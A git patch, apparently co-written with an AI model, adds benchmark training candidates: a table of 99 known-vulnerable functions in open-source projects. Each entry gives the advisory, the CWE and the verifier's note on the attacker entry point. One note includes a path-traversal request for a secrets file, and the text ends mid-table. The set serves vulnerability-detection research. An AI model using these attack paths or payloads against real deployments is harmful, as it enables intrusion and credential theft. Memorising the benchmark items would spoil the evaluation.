From 2b65680d5df908ac3cd5f6e281ddeae8add66656 Mon Sep 17 00:00:00 2001 From: Marius Ciepluch <11855163+norandom@users.noreply.github.com> Date: Tue, 13 Oct 2026 16:48:41 +0200 Subject: [PATCH] data: hunt training-set candidates (task 4.1), not frozen: 99 verified locations in 28 changes, awaiting spot-check Sourced apart from the 12 pilot repositories: 212 candidates (pool-fresh, pool-retry, OSV for PyPI, npm, Maven and Packagist), 49 dropped because the benchmarks already name their repository, 413 catalog locations, 99 passing all three verifier checks in 28 repositories. Short of the 40-positive target. catalog.py now reads .java and .php. Freeze waits on the maintainer's spot-check (CANDIDATES.md, SOURCING.md). Co-Authored-By: Claude Opus 5.5 --- benchmarks/valid/catalog.py | 2 + benchmarks/valid/train/CANDIDATES.md | 363 ++ benchmarks/valid/train/SOURCING.md | 194 + benchmarks/valid/train/catalog.toml | 7433 ++++++++++++++++++++++ benchmarks/valid/train/sources.json | 2284 +++++++ benchmarks/valid/train/sourcing.py | 833 +++ benchmarks/valid/train/verification.json | 4960 +++++++++++++++ tests/test_valid_benchmark.py | 2 +- 8 files changed, 16070 insertions(+), 1 deletion(-) create mode 100644 benchmarks/valid/train/CANDIDATES.md create mode 100644 benchmarks/valid/train/SOURCING.md create mode 100644 benchmarks/valid/train/catalog.toml create mode 100644 benchmarks/valid/train/sources.json create mode 100644 benchmarks/valid/train/sourcing.py create mode 100644 benchmarks/valid/train/verification.json diff --git a/benchmarks/valid/catalog.py b/benchmarks/valid/catalog.py index 749d4d8..1bea263 100644 --- a/benchmarks/valid/catalog.py +++ b/benchmarks/valid/catalog.py @@ -24,6 +24,8 @@ LANGUAGES = { ".cjs": "javascript", ".ts": "typescript", ".tsx": "typescript", + ".java": "java", # added 2026-10-13 for the training set: extract.fix_sites and function_bounds both read Java and PHP + ".php": "php", } diff --git a/benchmarks/valid/train/CANDIDATES.md b/benchmarks/valid/train/CANDIDATES.md new file mode 100644 index 0000000..ef8d4f7 --- /dev/null +++ b/benchmarks/valid/train/CANDIDATES.md @@ -0,0 +1,363 @@ +# Training-set candidates for the maintainer's spot-check + +Generated 2026-10-13 by `benchmarks/valid/train/sourcing.py candidates`. Every location below passed all three +model checks (vulnerable before the fix, fix addresses it, reachable from an in-repo entry point) and waits for a +human accept or reject. Nothing here is a positive until accepted. Accept or reject a location with + + .venv/bin/python -m benchmarks.valid.verify spot-check benchmarks/valid/train/verification.json accept|reject --reviewer --date YYYY-MM-DD + +Sites passing: 99 in 28 repositories, 28 positive changes (fix commits); languages: java 21, javascript 5, php 31, python 21, typescript 21 + +The verifier's entry point is the model's claim, not a checked fact; it is the reason the site passed the reachability check. + +## andrea9293/mcp-documentation-server + +- advisory: GHSA-6f5r-5672-72j7 (access_control, CWE-306), origin `osv`, ecosystem npm, licence MIT +- fix `37159d4e06b8ee50c3645b2496e3d3f6d32c47f9`, parent (fix^1) `06d28086dd3fe120978bfa4a49a0a93c7bba8449` +- advisory title: @andrea9293/mcp-documentation-server: Web UI API binds to all interfaces without authentication by default + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `andrea9293-mcp-documentation-server-0913a4303cf82c9a` | `src/web-server.ts::startWebServer` (24-41) | typescript | startWebServer -> app.listen(PORT) binding all interfaces; HTTP routes GET /api/documents, POST /api/documents, DELETE /api/documents/:id, POST /api/search-all, GET /api/config | 0.9 | + +## apache/atlas + +- advisory: GHSA-v73p-f52r-fmmr (output_encoding, CWE-80), origin `osv`, ecosystem maven, licence Apache-2.0 +- fix `800f979307d6ea0f0b6563ec890f6b728022e497`, parent (fix^1) `e67cc199e61afc92f242cccd05e97a61e0791bd2` +- advisory title: Apache Atlas UI: Authenticated User XSS + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `apache-atlas-3f751971e2a63d2e` | `dashboardv2/public/js/views/search/SearchResultLayoutView.js::function` (34-1474) | javascript | SearchResultLayoutView.getFixedDslColumn / getDaynamicColumns formatters rendering entity attributes via Backgrid Html cells; source is search API response entity attributes (e.g. name, typeName, cust | 0.55 | +| `apache-atlas-42a370a3cdec7d12` | `dashboardv2/public/js/views/site/Header.js::function` (27-347) | javascript | Header view onRender: that.$('.userName').html(Globals.userLogedIn.response.userName) renders the authenticated user's userName via .html() (DOM XSS sink); source is the logged-in user's userName from | 0.75 | +| `apache-atlas-4c582bc549c555a1` | `dashboard/src/components/FilterQuery.tsx::clearQueryAttr` (97-503) | typescript | React route /search/searchResult (FilterQuery component); source: URL query string via location.search / URLSearchParams, attacker-controlled filter params (type, tag, relationshipName, entityFilters, | 0.55 | +| `apache-atlas-940ab56a7aadcda1` | `dashboardv2/public/js/views/search/RelationSearchResultLayoutView.js::function` (33-820) | javascript | Backbone Marionette view RelationSearchResultLayoutView rendering relationship search results; data from relationship search API (getBasicRearchResult/fetch) flows into Backgrid Html cell formatters ( | 0.55 | + +## apache/pdfbox + +- advisory: GHSA-jjwr-xmw6-gf78 (path, CWE-22), origin `osv-extend`, ecosystem maven, licence Apache-2.0 +- fix `b028eafdf101b58e4ee95430c3be25e3e3aa29d7`, parent (fix^1) `daaead9069d562e166918d461191c89773e51f90` +- advisory title: Apache PDFBox has Path Traversal through PDComplexFileSpecification.getFilename() function + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `apache-pdfbox-3dc4e739d0307166` | `examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java::try` (66-81) | java | ExtractEmbeddedFiles.main(String[] args) CLI argument args[0] (PDF file path); embedded filename from PDComplexFileSpecification.getFilename() flows into extractFile(filePath, filename, embeddedFile) | 0.9 | +| `apache-pdfbox-56ad35de6b5478ab` | `examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java::extractFilesFromPage` (84-104) | java | main(String[] args) CLI: args[0] PDF file path; embedded file names from PDComplexFileSpecification.getFilename() flow into extractFile | 0.9 | +| `apache-pdfbox-7d8d6513c163f5fe` | `examples/src/main/java/org/apache/pdfbox/examples/pdmodel/ExtractEmbeddedFiles.java::main` (56-83) | java | ExtractEmbeddedFiles.main(String[] args) CLI argument args[0] (PDF file path); embedded filename from PDComplexFileSpecification.getFilename() in PDF content reaches extractFile | 0.9 | + +## codecov/codecov-python + +- advisory: GHSA-h3qr-fjhm-jphw (injection, CWE-88), origin `osv-extend`, ecosystem pip, licence Apache-2.0 +- fix `2a80aa434f74feb31242b6f213b75ce63ae97902`, parent (fix^1) `73b1b138ec40912eee6fed02636be6011105706e` +- advisory title: Codecov does not sanitize gcov arguments + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `codecov-codecov-python-261567376b9ecd8e` | `codecov/__init__.py::main` (209-805) | python | codecov/__init__.py:main() CLI entry point; attacker-controlled source: --gcov-args / --gcov-exec / --gcov-root CLI arguments (argparse) flowing into cmd string passed to try_to_run (popen) | 0.9 | + +## cyanheads/git-mcp-server + +- advisory: GHSA-3q26-f695-pp76 (injection, CWE-77), origin `osv-extend`, ecosystem npm, licence Apache-2.0 +- fix `0dbd6995ccdf76ab770b58013034365b2d06c4d9`, parent (fix^1) `f30169ec3a2520990e5467c19ef42ea7d6d9270e` +- advisory title: @cyanheads/git-mcp-server vulnerable to command injection in several tools + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `cyanheads-git-mcp-server-07d42f8af21c4e1d` | `src/mcp-server/tools/gitClone/logic.ts::gitCloneLogic` (69-278) | typescript | MCP tool git_clone (gitCloneLogic) invoked via MCP tools/call with attacker-controlled input.targetPath/repositoryUrl/branch reaching child_process.exec | 0.85 | +| `cyanheads-git-mcp-server-3c306de22fb76061` | `src/mcp-server/tools/gitInit/logic.ts::gitInitLogic` (63-227) | typescript | MCP tool git_init (gitInitLogic) invoked via tools/call with input.initialBranch | 0.9 | + +## cyface/django-termsandconditions + +- advisory: GHSA-6rmf-cv6p-4h27 (untrusted_destination, CWE-601), origin `osv-extend`, ecosystem pip, licence BSD-3-Clause +- fix `03396a1c2e0af95e12a45c5faef7e47a4b513e1a`, parent (fix^1) `c131a1b1daab533ece466f12d79a9ff903c9cacc` +- advisory title: Terms and Conditions Module vulnerable to Open Redirect + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `cyface-django-termsandconditions-1b3a86185cb651c3` | `termsandconditions/views.py::form_valid` (154-185) | python | EmailTermsView at url /terms/email; GET parameter returnTo flows via get_initial into form initial, then form_valid sets self.success_url from form.cleaned_data['returnTo'] without validation, causing | 0.85 | +| `cyface-django-termsandconditions-387ba4069e5df737` | `termsandconditions/views.py::post` (76-124) | python | AcceptTermsView.post at URL /terms/accept, reading request.POST['returnTo'] | 0.85 | +| `cyface-django-termsandconditions-8ee6351ba4d07811` | `termsandconditions/tests.py::test_accept_redirect_safe` (245-259) | python | POST /terms/accept/ with returnTo parameter handled by termsandconditions/views.py returnTo function | 0.85 | +| `cyface-django-termsandconditions-95885d31451074da` | `termsandconditions/tests.py::test_accept_redirect_unsafe` (260-270) | python | POST /terms/accept/ with returnTo parameter (termsandconditions/views.py returnTo function) | 0.85 | +| `cyface-django-termsandconditions-d51b737f5af17360` | `termsandconditions/views.py::get_initial` (67-75) | python | AcceptTermsView at url /terms/accept; GET parameter returnTo read via self.request.GET.get("returnTo", "/") in get_initial | 0.85 | + +## datamodel-code-generator/datamodel-code-generator + +- advisory: GHSA-77xj-x4rm-935c (path, CWE-22), origin `osv`, ecosystem pip, licence MIT +- fix `5e94b8f4203198798ec66b8e48217f70af69a0dc`, parent (fix^1) `834731d56c0a90c182a0919f316069cf5ff0659a` +- advisory title: datamodel-code-generator: Protobuf weak-import path traversal allows files to be written outside the temporary directory + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `datamodel-code-generator-datamodel-code-generator-bd146f812470891a` | `src/datamodel_code_generator/parser/protobuf.py::_write_missing_weak_imports` (383-395) | python | CLI: datamodel-code-generator --input-file-type protobuf --input (or --url); source: WEAK_IMPORT_PATTERN capture group from the proto text reaching _write_missing_weak_imp | 0.9 | + +## docling-project/docling + +- advisory: GHSA-p3fw-7699-7926 (config_secrets, CWE-522), origin `osv`, ecosystem pip, licence MIT +- fix `5e469137f275ffc443306a30d12a3a45bceb80fb`, parent (fix^1) `efaf9edd61363ef7239a49ba8e6b349ee219268f` +- advisory title: Docling: Configured HTTP headers sent to every remote image host named by a document + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `docling-project-docling-442cf60d08eedb5a` | `docling/cli/main.py::convert` (769-1181) | python | CLI command `convert` (docling/cli/main.py) with `--html-image-headers` and `--html-image-fetch remote\|all`; attacker-controlled source is the untrusted HTML document's `` URL | 0.85 | +| `docling-project-docling-6fdb354a87a33a5b` | `docling/backend/html_backend.py::_render_with_browser` (1004-1208) | python | HTMLBackend._render_with_browser via HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers=...) / CLI --html-image-headers with --html-image-fetch remote\|all; attacker-controlled so | 0.75 | +| `docling-project-docling-e161c7347b530396` | `docling/backend/html_backend.py::_route_request` (1044-1054) | python | HTMLBackend._route_request via HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers=...) / CLI --html-image-headers with --html-image-fetch remote\|all; attacker-controlled source i | 0.75 | + +## dtwang/line-desktop-mcp + +- advisory: GHSA-4hf8-5mjm-rfgq (access_control, CWE-306), origin `osv`, ecosystem npm, licence MIT +- fix `680617894981ea93f8f6ceb51ecde7519754d501`, parent (fix^1) `4023b0c85004507e28ae08999aac689293db63a5` +- advisory title: Streamable HTTP mode exposes LINE Desktop read/send tools without MCP authentication + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `dtwang-line-desktop-mcp-11072dcfdfa41a45` | `src/server.js::parseArgs` (575-607) | javascript | CLI --http-mode --port 3000 binds Express app to 0.0.0.0 and exposes POST /mcp Streamable HTTP endpoint without authentication | 0.9 | +| `dtwang-line-desktop-mcp-b9429141072345c4` | `src/server.js::run` (438-574) | javascript | Express app.all('/mcp') handler in LineDesktopMCPServer.run() invoked via CLI --http-mode --port; attacker-controlled source is the unauthenticated HTTP POST to /mcp (req.body initialize / mcp-session | 0.9 | + +## flytohub/flyto-core + +- advisory: GHSA-c9hr-64h3-gxpc (untrusted_destination, CWE-918), origin `osv`, ecosystem pip, licence Apache-2.0 +- fix `0a0a528520ec18f5a21f1ddf858a71cc1edfb6e9`, parent (fix^1) `2471c6e774102fcca21c61eb66cae057c0f0cecf` +- advisory title: Flyto2 Core: Guarded HTTP modules follow redirects into internal space without per-hop SSRF revalidation + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `flytohub-flyto-core-9648472ee6b1bd21` | `src/core/modules/atomic/http/request.py::http_request` (280-398) | python | execute_module http.request {url: attacker-controlled} -> http_request() -> session.request(method, url, allow_redirects=True) follows 302 into internal space | 0.85 | +| `flytohub-flyto-core-c57a8e72e5f62c6f` | `src/core/modules/atomic/http/get.py::http_get` (85-125) | python | execute_module http.get with attacker-controlled url parameter (http_get in src/core/modules/atomic/http/get.py) | 0.85 | + +## graphql/graphql-playground + +- advisory: GHSA-59r9-6jp6-jcm7 (output_encoding, CWE-79), origin `osv-extend`, ecosystem npm, licence MIT +- fix `b8a956006835992f12c46b90384a79ab82bcadad`, parent (fix^1) `5073062f3834bb8652c0c0e3297ad83ddc8ad867` +- advisory title: XSS vulnerability in GraphQL Playground from untrusted schemas + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `graphql-graphql-playground-8a960cf0662c724e` | `packages/graphql-playground-react/src/components/Playground/onHasCompletion.tsx::renderType` (136-138) | typescript | GraphQL Playground endpoint query parameter (?endpoint=...) loading a malicious schema; introspection type names reach renderType via onHasCompletion autocomplete, then injected through information.in | 0.85 | +| `graphql-graphql-playground-8ab7cfafbc027403` | `packages/graphql-playground-react/src/components/Playground/SchemaFetcher.ts::getSchema` (95-166) | typescript | SchemaFetcher.fetchSchema via endpoint query parameter (session.endpoint) loading a malicious schema | 0.75 | +| `graphql-graphql-playground-94e027d23fc54155` | `packages/graphql-playground-react/src/components/Playground.tsx::UNSAFE_componentWillReceiveProps` (215-253) | typescript | GraphQL Playground React app loaded via graphql-playground-html/middleware; endpoint query parameter (?endpoint=...) sets the schema endpoint, and the fetched introspection schema flows through props. | 0.75 | +| `graphql-graphql-playground-afc7c3fd32fb660f` | `packages/graphql-playground-react/src/components/Playground/onHasCompletion.tsx::onHasCompletion` (15-135) | typescript | GraphQL Playground endpoint query parameter (?endpoint=...) loading a malicious schema; onHasCompletion renders untrusted schema type names via innerHTML | 0.85 | + +## hkuds/vibe-trading + +- advisory: GHSA-5rmq-chc7-m22f (path, CWE-22), origin `osv`, ecosystem pip, licence MIT +- fix `9454d4a27a763b80e1d6eb5763b86c88e9e4e714`, parent (fix^1) `fd767f5c29c72cffe8e3f89c7ff006cb3041397f` +- advisory title: Vibe-Trading file-read tools expose arbitrary server-readable files + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `hkuds-vibe-trading-16a24d8276343ff1` | `agent/src/tools/path_utils.py::safe_user_path` (52-81) | python | POST /sessions/{sid}/messages -> LLM tool registry -> ExtractShadowStrategyTool (journal_path) -> safe_user_path | 0.85 | +| `hkuds-vibe-trading-866d7a8070276364` | `agent/src/tools/doc_reader_tool.py::read_document` (259-291) | python | POST /sessions/{sid}/messages -> LLM tool registry -> DocReaderTool.execute -> read_document(file_path) with attacker-controlled file_path from chat message | 0.85 | +| `hkuds-vibe-trading-c16e9e336b3428d7` | `agent/src/tools/backtest_tool.py::run_backtest` (12-64) | python | BacktestTool.execute -> run_backtest(run_dir) via POST /sessions/{sid}/messages LLM tool invocation; run_dir is attacker-controlled via prompt injection | 0.55 | +| `hkuds-vibe-trading-c504e5fd82839ef8` | `agent/src/tools/pattern_tool.py::run_pattern` (305-342) | python | POST /sessions/{sid}/messages -> LLM tool registry -> PatternTool.execute -> run_pattern(run_dir) | 0.55 | + +## home-assistant/frontend + +- advisory: GHSA-wx4m-69m9-gx3m (output_encoding, CWE-80), origin `osv`, ecosystem pip, licence Apache-2.0 +- fix `b8c201b6d34414d30c622797366570185c219614`, parent (fix^1) `4a6c23c93e0cf24c26721090ba168a853b91843f` +- advisory title: Home Assistant: XSS in Statistics Graph Card + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `home-assistant-frontend-588ec87d01bd562c` | `src/panels/lovelace/cards/energy/common/energy-chart-options.ts::formatTooltip` (226-299) | typescript | Lovelace Statistics Graph card (statistics-chart.ts) rendering ECharts tooltip via formatTooltip; source is entity name from getStatisticLabel/computeStateName (attacker-controlled via helper or integ | 0.85 | +| `home-assistant-frontend-589375de71f6b2f2` | `src/panels/config/integrations/integration-panels/zwave_js/zwave_js-network-visualization.ts::customElement` (33-388) | typescript | ZWave JS network visualization panel (zwave_js-network-visualization custom element) tooltip formatter rendering device names via ECharts tooltip | 0.6 | +| `home-assistant-frontend-72bcad0f4ba8aa00` | `src/components/chart/state-history-chart-timeline.ts::render` (66-171) | typescript | Statistics Graph card / state-history-chart-timeline.ts _renderTooltip (seriesName from entity name via getStatisticLabel/computeStateName) | 0.75 | +| `home-assistant-frontend-d7404ee83aa6f810` | `src/components/chart/ha-chart-base.ts::_getSeries` (955-996) | typescript | Statistics Graph card (statistics-chart.ts) rendering entity name via getStatisticLabel -> computeStateName into ECharts tooltip; attacker-controlled source is the entity name set via helper/integrati | 0.85 | +| `home-assistant-frontend-f515548346e64ad5` | `src/panels/lovelace/cards/energy/hui-energy-devices-graph-card.ts::_renderTooltip` (201-282) | typescript | Lovelace Statistics Graph card tooltip formatter (_renderTooltip) rendering entity name from getStatisticLabel/computeStateName; attacker-controlled source is the entity/statistic name set via helper | 0.85 | + +## htmlunit/htmlunit + +- advisory: GHSA-3xrr-7m6p-p7xh (injection, CWE-94), origin `osv`, ecosystem maven, licence Apache-2.0 +- fix `641325bbc84702dc9800ec7037aec061ce21956b`, parent (fix^1) `d75f21270a20b94c4a49aa0a7dff3f9b7309ca78` +- advisory title: HtmlUnit Code Injection vulnerability + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `htmlunit-htmlunit-2d8f01031e36f7f1` | `src/main/java/com/gargoylesoftware/htmlunit/javascript/host/xml/XSLTProcessor.java::transform` (121-209) | java | XSLTProcessor.transform (JS-exposed @JsxFunction transformToDocument/transformToFragment) invoked from attacker-controlled webpage JavaScript in HtmlUnit browser | 0.75 | + +## inventree/inventree + +- advisory: GHSA-vx3h-qwqw-r2wq (untrusted_destination, CWE-918), origin `osv-extend`, ecosystem pip, licence MIT +- fix `5759b60a48e7e178fb417a900ed543f29dc5dc86`, parent (fix^1) `7bffa49f3cdd44dffdcf14e11e57db6295273b36` +- advisory title: Inventree Server-Side Request Forgery vulnerability exposes server port/internal IP + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `inventree-inventree-3c189cf58ad5161c` | `src/backend/InvenTree/InvenTree/serializers.py::validate_remote_image` (890-914) | python | RemoteImageMixin.validate_remote_image via DRF serializer field 'remote_image' (URLField) on API endpoints using RemoteImageMixin; attacker-controlled source is the remote_image URL submitted in the r | 0.75 | + +## jenkinsci/ansible-plugin + +- advisory: GHSA-38hw-368m-7jmg (config_secrets, CWE-311), origin `osv`, ecosystem maven, licence Apache-2.0 +- fix `4cbc48657c21a65a917b3b3049918480198c0cfb`, parent (fix^1) `8191fd551ebf606556c730a08eb1d74426dc6257` +- advisory title: Jenkins Ansible Plugin stores and displays secrets in plain text + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `jenkinsci-ansible-plugin-4904f1516a63debe` | `src/main/java/org/jenkinsci/plugins/ansible/workflow/AnsiblePlaybookStep.java::convertExtraVars` (376-397) | java | AnsiblePlaybookStep.AnsiblePlaybookExecution.run() invoked via the ansiblePlaybook pipeline step; extraVars parameter (step.extraVars) is attacker/user-controlled and passed to convertExtraVars | 0.75 | + +## jenkinsci/dependency-track-plugin + +- advisory: GHSA-xfrw-pcmc-r2p3 (access_control, CWE-862), origin `osv-extend`, ecosystem maven, licence Apache-2.0 +- fix `70e7b82ad9a10499e628998a0bcb57c1481c66bc`, parent (fix^1) `69317029c8a3eaadc7fe3f5a57de2c364279f612` +- advisory title: Missing permission checks in Jenkins OWASP Dependency-Track Plugin allow capturing credentials + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `jenkinsci-dependency-track-plugin-673cc48b4f75ebf5` | `src/main/java/org/jenkinsci/plugins/DependencyTrack/DescriptorImpl.java::doCheckDependencyTrackFrontendUrl` (205-219) | java | Jenkins Stapler HTTP endpoint doCheckDependencyTrackFrontendUrl (and doTestConnection) invoked via form validation request; attacker-controlled source is the @QueryParameter value / dependencyTrackApi | 0.85 | +| `jenkinsci-dependency-track-plugin-90b566be2c3aebff` | `src/main/java/org/jenkinsci/plugins/DependencyTrack/DescriptorImpl.java::doCheckDependencyTrackUrl` (195-204) | java | Jenkins HTTP endpoint doCheckDependencyTrackUrl (and doTestConnection) reachable via Stapler form validation; attacker-controlled source: @QueryParameter value / dependencyTrackUrl and dependencyTrack | 0.85 | +| `jenkinsci-dependency-track-plugin-9e8488d96f7c0424` | `src/main/java/org/jenkinsci/plugins/DependencyTrack/DescriptorImpl.java::doTestConnection` (220-245) | java | Jenkins Stapler HTTP endpoint doTestConnection (descriptor form validation endpoint, e.g. /descriptorByName/.../testConnection) with attacker-controlled dependencyTrackUrl and dependencyTrackApiKey qu | 0.85 | + +## jenkinsci/gitlab-logo-plugin + +- advisory: GHSA-22rj-q66g-2jg3 (config_secrets, CWE-522), origin `osv-extend`, ecosystem maven, licence MIT +- fix `1a64595353df91b5fcf2d9336fa627e06ef1f8a9`, parent (fix^1) `f4c28e3db4974bfb03ba41838e68a1d99debd75b` +- advisory title: Jenkins GitLab Logo Plugin stores credentials unencrypted + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `jenkinsci-gitlab-logo-plugin-f771ba20ac33c126` | `src/main/java/org/jenkinsci/plugins/gitlablogo/GitlabLogoProperty.java::configure` (100-110) | java | Jenkins global configuration form submission handled by DescriptorImpl.configure(StaplerRequest, JSONObject) via Stapler; attacker-controlled source is the privateToken form field in the submitted JSO | 0.85 | + +## jenkinsci/job-import-plugin + +- advisory: GHSA-4g29-r7vj-2rpv (access_control, CWE-862), origin `osv-extend`, ecosystem maven, licence MIT +- fix `1b4119849571d4879977c529f9972d271ad6a630`, parent (fix^1) `647b3d5a034708c7f8dd61194c476b4e2b8d9593` +- advisory title: Jenkins Job Import Plugin allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `jenkinsci-job-import-plugin-07e0e7023a46cf4d` | `src/main/java/org/jenkins/ci/plugins/jobimport/JobImportAction.java::doFillJenkinsSitesItems` (336-342) | java | Jenkins Stapler HTTP endpoint doFillJenkinsSitesItems on JobImportActionDescriptor (fill field for Jenkins sites), reachable by any authenticated user with Overall/Read permission | 0.85 | +| `jenkinsci-job-import-plugin-5509a356384e862e` | `src/main/java/org/jenkins/ci/plugins/jobimport/JobImportAction.java::doFillCredentialIdItems` (318-335) | java | Jenkins Stapler HTTP endpoint /jobImport/fillCredentialIdItems (doFillCredentialIdItems on JobImportActionDescriptor), reachable by any authenticated user with Overall/Read permission | 0.85 | + +## jenkinsci/p4-plugin + +- advisory: GHSA-f9v6-p7hp-c3qx (access_control, CWE-862), origin `osv`, ecosystem maven, licence BSD-2-Clause +- fix `2f2a31d8d36de7abab45820fab3a82f4c682b760`, parent (fix^1) `a168eb417f4b725612123be12ac014b01ab09999` +- advisory title: Missing permission checks in Jenkins P4 Plugin + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `jenkinsci-p4-plugin-5022afedadfe8449` | `src/main/java/org/jenkinsci/plugins/p4/trigger/P4Hook.java::doChangeSubmit` (105-125) | java | Stapler HTTP endpoint doChangeSubmit (P4Hook) reachable via Jenkins Stapler routing; attacker-controlled source: StaplerRequest parameters (_.p4port) and submitted form | 0.9 | +| `jenkinsci-p4-plugin-65a59903d43924ee` | `src/main/java/org/jenkinsci/plugins/p4/trigger/P4Hook.java::doChange` (69-91) | java | P4Hook.doChange (HTTP endpoint /p4/change via StaplerRequest) | 0.9 | +| `jenkinsci-p4-plugin-85c3775c29eb0c5c` | `src/main/java/org/jenkinsci/plugins/p4/review/ReviewAction.java::doBuild` (78-125) | java | HTTP endpoint doBuild/doBuildSubmit on ReviewAction (urlName 'review') via StaplerRequest parameters | 0.85 | +| `jenkinsci-p4-plugin-a1c0ab5c3582fc3b` | `src/main/java/org/jenkinsci/plugins/p4/review/ReviewAction.java::doBuildSubmit` (70-77) | java | HTTP endpoint /review/buildSubmit (Stapler doBuildSubmit) reachable via Overall/Read authenticated user submitting form data | 0.85 | +| `jenkinsci-p4-plugin-fdef12ac487474fb` | `src/main/java/org/jenkinsci/plugins/p4/trigger/P4Hook.java::doEvent` (49-68) | java | UnprotectedRootAction P4Hook at URL /p4, HTTP endpoint doEvent (and doChange) reachable without authentication; attacker-controlled source is the HTTP request body/JSON payload (req.getInputStream) | 0.9 | + +## jenkinsci/tap-plugin + +- advisory: GHSA-24jc-w55j-5p83 (path, CWE-22), origin `osv-extend`, ecosystem maven, licence MIT +- fix `8e2a3aa86ce57a98c69e6038e15ae8fe47d08124`, parent (fix^1) `a98a85c961ef983fb2935aa2987587acc2e11e8e` +- advisory title: Jenkins TAP Plugin allows Path Traversal + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `jenkinsci-tap-plugin-b1954cc1fc64febe` | `src/main/java/org/tap4j/plugin/TapResult.java::doDownloadAttachment` (306-345) | java | doDownloadAttachment Stapler request handler (Jenkins Stapler route /downloadAttachment) reading request parameter "f" | 0.85 | + +## jenkinsci/zap-pipeline-plugin + +- advisory: GHSA-4c87-9xq5-5c35 (output_encoding, CWE-79), origin `osv-extend`, ecosystem maven, licence MIT +- fix `bca4b087c66ead39398f54cdadc27c515e8ede31`, parent (fix^1) `5fc703a3c383eb515909cf0b9dc452ccc38f07d9` +- advisory title: Content-Security-Policy protection for user content disabled by Jenkins ZAP Pipeline Plugin + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `jenkinsci-zap-pipeline-plugin-953ab12f1f2d06d9` | `src/main/java/com/vrondakis/zap/ZapAction.java::doDynamic` (61-69) | java | ZapAction.doDynamic (Stapler route /job///zap/... via getUrlName() returning ZapArchive.DIRECTORY_NAME), serving DirectoryBrowserSupport content; attacker-controlled source is files in the w | 0.85 | + +## line/armeria + +- advisory: GHSA-8fp4-rp6c-5gcv (path, CWE-22), origin `osv-extend`, ecosystem maven, licence Apache-2.0 +- fix `e2697a575e9df6692b423e02d731f293c1313284`, parent (fix^1) `a1105519e920b00ee3bc848a5074d943925931ef` +- advisory title: Path Traversal in com.linecorp.armeria:armeria + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `line-armeria-143c39cfd2874e4c` | `core/src/main/java/com/linecorp/armeria/internal/common/PathAndQuery.java::appendOneByte` (359-389) | java | HTTP request path parsing in Armeria server (PathAndQuery.appendOneByte) reached via FileService under a path prefix, e.g. GET /files/..%2Fsecrets.txt | 0.75 | +| `line-armeria-3196308da59204ff` | `core/src/main/java/com/linecorp/armeria/internal/common/PathAndQuery.java::splitPathAndQuery` (189-230) | java | HTTP request path handling in Armeria server (PathAndQuery.splitPathAndQuery invoked from request path parsing); attacker-controlled source is the request path containing %2F, e.g. /files/..%2Fsecrets | 0.75 | +| `line-armeria-fff692dc76424e72` | `core/src/main/java/com/linecorp/armeria/internal/common/PathAndQuery.java::decodePercentsAndEncodeToUtf8` (231-358) | java | HTTP request path parsing in Armeria server (PathAndQuery.parse) invoked via FileService under a route such as /files, attacker-controlled source: request path containing %2F | 0.85 | + +## modoboa/modoboa-dmarc + +- advisory: GHSA-vc42-mgr2-w34r (injection, CWE-91), origin `osv-extend`, ecosystem pip, licence MIT +- fix `14c29e0ad9487bdbe4cc0bd1f8bc711285bf9933`, parent (fix^1) `1b1472fc7ef168e19f981f8bb8827e9ed7888e46` +- advisory title: Modoboa is vulnerable to an XML External Entity Injection (XXE) + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `modoboa-modoboa-dmarc-7b9ba42b6d644e40` | `modoboa_dmarc/lib.py::import_report` (76-119) | python | import_report_from_email(content) -> import_archive -> import_report; content originates from DMARC report emails sent to the rua address of a domain | 0.85 | + +## posit-dev/py-shiny + +- advisory: GHSA-47c3-hpmg-7j6p (path, CWE-22), origin `osv`, ecosystem pip, licence MIT +- fix `1d8ecb46cbc9621b7dc8812111d26692e086b376`, parent (fix^1) `48b4faa0d651476afa84d6423d57503b60716902` +- advisory title: Shiny for Python has path traversal in bookmark restore + +| id | path::function (pre-fix lines) | language | entry point (verifier) | confidence | +|---|---|---|---|---| +| `posit-dev-py-shiny-3537c0dd41a40d38` | `shiny/_app.py::_on_root_request_cb` (397-418) | python | HTTP GET / handler _on_root_request_cb reading request.url.query (_state_id_) | 0.9 | +| 